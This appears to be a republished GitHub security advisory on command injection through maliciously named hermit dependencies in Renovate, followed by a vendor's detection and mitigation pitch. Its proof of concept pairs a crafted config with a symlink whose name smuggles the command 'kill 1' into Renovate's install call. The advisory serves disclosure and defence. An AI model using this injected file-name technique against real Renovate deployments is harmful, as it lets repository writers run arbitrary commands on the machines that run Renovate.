GHSA-36j9-mx87-2cff
MEDIUMRenovate vulnerable to arbitrary command injection via hermit manager and maliciously named dependencies
Blast Radius
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Description
Summary
The user-provided string depName in the hermit manager is appended to the ./hermit install and ./hermit uninstall commands without proper sanitization.
Details
Adversaries can provide a maliciously named hermit dependency in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
All values added to the packagesToInstall and packagesToUninstall variables in lib/modules/manager/hermit/artifacts.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization for installing packages has been present in the product since the introduction of the hermit manager in version 32.135.0 (https://github.com/renovatebot/renovate/commit/b696abb3c2741508fbb4029f39153140a3722e1e), released on July 30 of 2022.
In version 37.199.1 (https://github.com/renovatebot/renovate/commit/eaec10d7c8afadbdd783ac47bd2adbfab444d6df) some use of the quote function from the shlex package was added, but not in a way that usefully prevented this arbitrary code injection vulnerability.
When support for replacements was introduced with version 37.214.4 (https://github.com/renovatebot/renovate/commit/41e8b99f86a6e2a56f80f7aa1a08a59d76f2358c), the same faulty approach was replicated for uninstalling packages.
PoC
- Create a git repo with the following content:
renovate.json5:
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
},
},
packageRules: [
{
// Target of the day
matchManagers: ["hermit"],
// Trick the manager in believing there's a new version
overrideDatasource: "custom.always",
},
],
}
bin/hermit:
#!/bin/bash
#
# THIS FILE IS GENERATED; DO NOT MODIFY
set -eo pipefail
export HERMIT_USER_HOME=~
if [ -z "${HERMIT_STATE_DIR}" ]; then
case "$(uname -s)" in
Darwin)
export HERMIT_STATE_DIR="${HERMIT_USER_HOME}/Library/Caches/hermit"
;;
Linux)
export HERMIT_STATE_DIR="${XDG_CACHE_HOME:-${HERMIT_USER_HOME}/.cache}/hermit"
;;
esac
fi
export HERMIT_DIST_URL="${HERMIT_DIST_URL:-https://github.com/cashapp/hermit/releases/download/stable}"
HERMIT_CHANNEL="$(basename "${HERMIT_DIST_URL}")"
export HERMIT_CHANNEL
export HERMIT_EXE=${HERMIT_EXE:-${HERMIT_STATE_DIR}/pkg/hermit@${HERMIT_CHANNEL}/hermit}
if [ ! -x "${HERMIT_EXE}" ]; then
echo "Bootstrapping ${HERMIT_EXE} from ${HERMIT_DIST_URL}" 1>&2
INSTALL_SCRIPT="$(mktemp)"
# This value must match that of the install script
INSTALL_SCRIPT_SHA256="09ed936378857886fd4a7a4878c0f0c7e3d839883f39ca8b4f2f242e3126e1c6"
if [ "${INSTALL_SCRIPT_SHA256}" = "BYPASS" ]; then
curl -fsSL "${HERMIT_DIST_URL}/install.sh" -o "${INSTALL_SCRIPT}"
else
# Install script is versioned by its sha256sum value
curl -fsSL "${HERMIT_DIST_URL}/install-${INSTALL_SCRIPT_SHA256}.sh" -o "${INSTALL_SCRIPT}"
# Verify install script's sha256sum
openssl dgst -sha256 "${INSTALL_SCRIPT}" | \
awk -v EXPECTED="$INSTALL_SCRIPT_SHA256" \
'$2!=EXPECTED {print "Install script sha256 " $2 " does not match " EXPECTED; exit 1}'
fi
/bin/bash "${INSTALL_SCRIPT}" 1>&2
fi
exec "${HERMIT_EXE}" --level=fatal exec "$0" -- "$@"
bin/.|| kill 1 ||@0.0.1.pkg (symlink):
A symlink to hermit
- Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of
kill 1, terminating the root process of the container.
[!NOTE] This specific proof of concept was made a lot simpler with the introduction of the
overrideDatasourceconfiguration since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual hermit-packages repository during resolution.
Impact
TThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | renovate | ≥ 32.135.0&&< 40.33.0 | 40.33.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for renovate. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update renovate to 40.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-36j9-mx87-2cff is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-36j9-mx87-2cff is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-36j9-mx87-2cff. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-36j9-mx87-2cff in your dependencies?
O3 detects GHSA-36j9-mx87-2cff across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.